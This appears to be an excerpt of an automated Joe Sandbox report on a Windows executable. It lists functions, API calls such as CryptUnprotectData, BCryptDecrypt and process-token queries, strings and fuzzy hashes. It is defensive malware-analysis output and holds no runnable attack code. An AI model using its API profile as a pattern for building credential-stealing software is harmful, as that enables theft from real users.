Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 552cadb944fbfa7d273d14e6333c601f02b0659bfbb50ac822d976667c4bc77c
Instruction ID: 727613f5213feead9b61667ae50dd9647231c50301c50816018821fc0b456d9c
Opcode Fuzzy Hash: 552cadb944fbfa7d273d14e6333c601f02b0659bfbb50ac822d976667c4bc77c
Instruction Fuzzy Hash: C4E0EC60D0D28350FEA83E3511462BAD6C46F2D309FDC0CF9E85E021C3AE0E788711B2

Function 00007FF75A72B4C0 Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,?,?,?,00007FF75A69E409), ref: 00007FF75A72B4C4

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 4104833be8186ecfced91f05a1dc286f8d4e1ac7fad94ea37a2bf5d234dce428
Instruction ID: 2d5b0aab63713f9532694a1f12812a117a8a35d3fcf1c0d503492d7280a31ce5
Opcode Fuzzy Hash: 4104833be8186ecfced91f05a1dc286f8d4e1ac7fad94ea37a2bf5d234dce428
Instruction Fuzzy Hash: 20C04815F1E943D2F6983F625C8216292E0AF9CB11FDC09B0C50A80250DEACA9E68B21

Function 00007FF75A72D0B4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 00007FF75A72D0BD

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ebb3c2d15c06801dfe805b6087078b0f501a5fe9f8c446694f4975735c5f9cad
Instruction ID: 5be734fa6e78ff5e58e9ee821c5f993dcf7891c9de94692e68149ee490161d47
Opcode Fuzzy Hash: ebb3c2d15c06801dfe805b6087078b0f501a5fe9f8c446694f4975735c5f9cad
Instruction Fuzzy Hash: 6DB09236E188C0C3D611FF08E842029B331FB98B0AFD00460E28E42624CE2CDA2A8E00

Function 00007FF75A70DA30 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF75A70A0C6,?,?,-2723E8D8DEBC5093,00007FF75A704E71,?,?,?,?,00007FF75A70D3FC), ref: 00007FF75A70DA85

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 9ae9f8af891c0b94514e7ea55ed6623f4eb6cc8682cd7ae55c8d48968416ecb5
Instruction ID: 29af56a4cc002c55af8e6adeb889ff15e16baac4fb6e23db444df99bf44febcc
Opcode Fuzzy Hash: 9ae9f8af891c0b94514e7ea55ed6623f4eb6cc8682cd7ae55c8d48968416ecb5
Instruction Fuzzy Hash: 95F0E789B0D707A5FE547EA15C513B6D2856F8CB80FCC5CB0C90E86292EE2CAA818634

Function 00007FF75A70E8BC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF75A70E8FA

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: eba47d0c810211a009f984e3ce810decee2d7cb9fb39a7e87e15bbee8ef19542
Instruction ID: ba40979cd59543eed5795cf3275f7b4dddbed25990aaf9e0961c0d99b1a6b731
Opcode Fuzzy Hash: eba47d0c810211a009f984e3ce810decee2d7cb9fb39a7e87e15bbee8ef19542
Instruction Fuzzy Hash: EEF05E01F1920659FE547EA15C0027592806F8C7A5FCC0EB0D83E852C1DE1CB4408A31

Non-executed Functions

Function 00007FF75A6C1AF0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 239COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF75A6C1D4E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C1DE3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C1DE9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C1DEF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C1DF5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C1DFB

Strings

parse_error, xrefs: 00007FF75A6C1B7E

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy
String ID: parse_error
API String ID: 1944019136-3903021949
Opcode ID: fcb94c03f419076f135e2dbe65f80db248f198790addfddc5093c8d7142d05be
Instruction ID: a6c1d5841cfc883eb280cf51de6e8274b8608c63f3a81dfcd2d7329d027606cc
Opcode Fuzzy Hash: fcb94c03f419076f135e2dbe65f80db248f198790addfddc5093c8d7142d05be
Instruction Fuzzy Hash: 09A1D262F14B8189FB10EF64D4403BDA362EF59798F545771EA6C16A9AEF3CE180C350

Function 00007FF75A718C04 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF75A709EEC: GetLastError.KERNEL32 ref: 00007FF75A709EFB
Part of subcall function 00007FF75A709EEC: FlsGetValue.KERNEL32 ref: 00007FF75A709F10
Part of subcall function 00007FF75A709EEC: SetLastError.KERNEL32 ref: 00007FF75A709F9B

TranslateName.LIBCMT ref: 00007FF75A718C6E
TranslateName.LIBCMT ref: 00007FF75A718CA9
GetACP.KERNEL32 ref: 00007FF75A718CF0
IsValidCodePage.KERNEL32 ref: 00007FF75A718D28
GetLocaleInfoW.KERNEL32 ref: 00007FF75A718EE5

Strings

utf8, xrefs: 00007FF75A718E0C

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: 41343eb44851c0e8f8055f3926715ba520ae6846787d1c3cb08d70e80e5c003e
Instruction ID: 231a7cef627b8a0ad2bfb9838f01aa3eeb2e73ea107bbec07ade43c15214d2ad
Opcode Fuzzy Hash: 41343eb44851c0e8f8055f3926715ba520ae6846787d1c3cb08d70e80e5c003e
Instruction Fuzzy Hash: 64918832A0874285FB64BF21D4406B9ABE5EF48B84F8849B1DE5C47785DF3CE946C7A0

Function 00007FF75A707F68 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF75A707FE1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF75A707FF9
RtlVirtualUnwind.KERNEL32 ref: 00007FF75A708034
IsDebuggerPresent.KERNEL32 ref: 00007FF75A70806D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF75A708077
UnhandledExceptionFilter.KERNEL32 ref: 00007FF75A708082

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 518a55c6435702555d938cb12e0853557d9473da796008457dbc6bc20602c87e
Instruction ID: f110435c6b3375ff9606b483b37e5cdb6dacce862e61bdb72290d6315726757b
Opcode Fuzzy Hash: 518a55c6435702555d938cb12e0853557d9473da796008457dbc6bc20602c87e
Instruction Fuzzy Hash: 89316136A08F8186EB60DF25E8402AEB3A4FF88754F980576EA9D43B55DF3CD5458B10

Function 00007FF75A6D0AC0 Relevance: 8.0, APIs: 5, Instructions: 470COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF75A6D0B3B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6D0B41

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 50477b883f0e595c475007deb4df5dd0632e30aba3648fc15433c39142537e7c
Instruction ID: 796a590d7fdc31b67e72544830e97e3a16393ba2472b38bf8cd8b9c879da19da
Opcode Fuzzy Hash: 50477b883f0e595c475007deb4df5dd0632e30aba3648fc15433c39142537e7c
Instruction Fuzzy Hash: C902C162B05B8685FB50EF61D4402ADB3A2EF48BD8F888272DE5D17789DF78E491C350

Function 00007FF75A6A3A30 Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 699COMMON

Download Yara Rule

Strings

content, xrefs: 00007FF75A6A4749
filename, xrefs: 00007FF75A6A4624
ios_base::badbit set, xrefs: 00007FF75A6A4A48, 00007FF75A6A4A8C

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Crypt$AlgorithmProvider$CloseGenerateOpenPropertySymmetric_invalid_parameter_noinfo_noreturn
String ID: content$filename$ios_base::badbit set
API String ID: 3077847781-879919306
Opcode ID: 0bcfc921bf75ea7deec6ca4cc914c8a148170ededc6ae36e3497172a60584761
Instruction ID: 3c471bf2813259d2123f49d3aaec9341fc23ace0c35f5618767866e61c4de1c3
Opcode Fuzzy Hash: 0bcfc921bf75ea7deec6ca4cc914c8a148170ededc6ae36e3497172a60584761
Instruction Fuzzy Hash: 1E82013251DBC695E6B19B14F8803EAB3A5FBC8740F945236DACD42B69EF38D594CB00

Function 00007FF75A6E8020 Relevance: 4.7, APIs: 3, Instructions: 248COMMON

Download Yara Rule

APIs

BCryptDecrypt.BCRYPT ref: 00007FF75A6E81E0

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CryptDecrypt
String ID:
API String ID: 2620231605-0
Opcode ID: a15f310f6230dab8b2c439189cf4db1ee8969c8c9a52d6e13aa6a1d9d343b1fb
Instruction ID: 7f6407fb750802aa762c4e816b10b67bd3fd97d13377cec24b15ec9d4e02a829
Opcode Fuzzy Hash: a15f310f6230dab8b2c439189cf4db1ee8969c8c9a52d6e13aa6a1d9d343b1fb
Instruction Fuzzy Hash: 09B18E62F08B819AF710DBA0D4103AE7BB2FB54B88F444279DE4C07A99DF7AD499C350

Function 00007FF75A7190C8 Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75A709EEC: GetLastError.KERNEL32 ref: 00007FF75A709EFB
Part of subcall function 00007FF75A709EEC: FlsGetValue.KERNEL32 ref: 00007FF75A709F10
Part of subcall function 00007FF75A709EEC: SetLastError.KERNEL32 ref: 00007FF75A709F9B

Part of subcall function 00007FF75A709EEC: FlsSetValue.KERNEL32 ref: 00007FF75A709F31

GetLocaleInfoW.KERNEL32 ref: 00007FF75A719134

Part of subcall function 00007FF75A6FFBA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A6FFBBD

GetLocaleInfoW.KERNEL32 ref: 00007FF75A71917D

Part of subcall function 00007FF75A6FFBA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75A6FFC16

GetLocaleInfoW.KERNEL32 ref: 00007FF75A719245

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: 8cdfe7f1b5fd9999da327c4f4609675d5690c7bae2d768c40d9912784c01383a
Instruction ID: e634c58db7b428cb18282657359b084da1b00f7d50303ace9c7d8e620049a088
Opcode Fuzzy Hash: 8cdfe7f1b5fd9999da327c4f4609675d5690c7bae2d768c40d9912784c01383a
Instruction Fuzzy Hash: 77619232A085438AFB34AF11D5402B9B3E5FF48B44F888575CB9E93691DE3CE952C7A4

Function 00007FF75A6A7C20 Relevance: 4.6, APIs: 3, Instructions: 145encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00007FF75A6A7CAD
LocalFree.KERNEL32 ref: 00007FF75A6A7D3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6A7E26

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2610421622-0
Opcode ID: d2c0388303d74805f7eb883b10ef3726e044cdd81ba6d4b10086cf51ecd7eca1
Instruction ID: 9d5664b43deae3c285cc9824ee8ec6ce74b2d2e72c7a870593b568b31a38bf8b
Opcode Fuzzy Hash: d2c0388303d74805f7eb883b10ef3726e044cdd81ba6d4b10086cf51ecd7eca1
Instruction Fuzzy Hash: C8619D32B18B81DAF710EF74E4403ACB3A2EB58B8CF444275EA4D56E8ADF78D5948350

Function 00007FF75A718F60 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF75A709EEC: GetLastError.KERNEL32 ref: 00007FF75A709EFB
Part of subcall function 00007FF75A709EEC: FlsGetValue.KERNEL32 ref: 00007FF75A709F10
Part of subcall function 00007FF75A709EEC: SetLastError.KERNEL32 ref: 00007FF75A709F9B

EnumSystemLocalesW.KERNEL32 ref: 00007FF75A718FFE

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: b863ec2cec9009a3af30c9a1a615a32510d45c83cc126c9469ae93d30e306958
Instruction ID: d383905c11c800f9b5ee3485f7b257bc8132b68f3fe87e12cdeb8a1140ca5faf
Opcode Fuzzy Hash: b863ec2cec9009a3af30c9a1a615a32510d45c83cc126c9469ae93d30e306958
Instruction Fuzzy Hash: 00110263E186458AFB14AF16D0406A8BBE1FB58BA0F884532D629433C4CE68D6D1C790

Function 00007FF75A70DAE0 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32 ref: 00007FF75A70DB2F

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 17140df511fe09419b9fc83be2d2c34c2fb9fdba42dd4bc62a26aeb66c77a399
Instruction ID: 08afad8601c871d80797c94381b3b922b15b4a9a97de3c5f7c465ecd66365acf
Opcode Fuzzy Hash: 17140df511fe09419b9fc83be2d2c34c2fb9fdba42dd4bc62a26aeb66c77a399
Instruction Fuzzy Hash: EAF06972A08B4192F700EF29E8801A9B766FF8CB80F988475EA4D83365CE3CD891C714

Function 00007FF75A6C7C00 Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 202COMMON

Download Yara Rule

Strings

object is not closed with '}', xrefs: 00007FF75A6C920F
word wasnt properly ended, xrefs: 00007FF75A6C9365, 00007FF75A6C93EC
quote was opened but not closed., xrefs: 00007FF75A6C9236, 00007FF75A6C92AB
key declared, but no value, xrefs: 00007FF75A6C925D, 00007FF75A6C9284, 00007FF75A6C9398
unexpected '}', xrefs: 00007FF75A6C9413
No closed word, xrefs: 00007FF75A6C9317, 00007FF75A6C933E
unexpected key without object, xrefs: 00007FF75A6C92EA
key opened, but never closed, xrefs: 00007FF75A6C93BF

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID:
String ID: No closed word$key declared, but no value$key opened, but never closed$object is not closed with '}'$quote was opened but not closed.$unexpected '}'$unexpected key without object$word wasnt properly ended
API String ID: 0-2700065129
Opcode ID: 52e00e713b4374cc5988d93a8fc87872f5f7c514a267708eb114d8843e2f668e
Instruction ID: 7481e37447572ef5f67fe957d396b75999ea2578f905267d4976f5dde2c95bba
Opcode Fuzzy Hash: 52e00e713b4374cc5988d93a8fc87872f5f7c514a267708eb114d8843e2f668e
Instruction Fuzzy Hash: 7AB13E72908AC798F760FF20DC506E8B365FF58348FC45972D64D0A9A6DF289799C324

Function 00007FF75A6E4A30 Relevance: 28.7, APIs: 19, Instructions: 177processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF75A6E4A86
Process32FirstW.KERNEL32 ref: 00007FF75A6E4ACA
Process32NextW.KERNEL32 ref: 00007FF75A6E4ADF
OpenProcess.KERNEL32 ref: 00007FF75A6E4B1B
OpenProcessToken.ADVAPI32 ref: 00007FF75A6E4B42
GetTokenInformation.ADVAPI32 ref: 00007FF75A6E4B6E
GetLastError.KERNEL32 ref: 00007FF75A6E4B7C
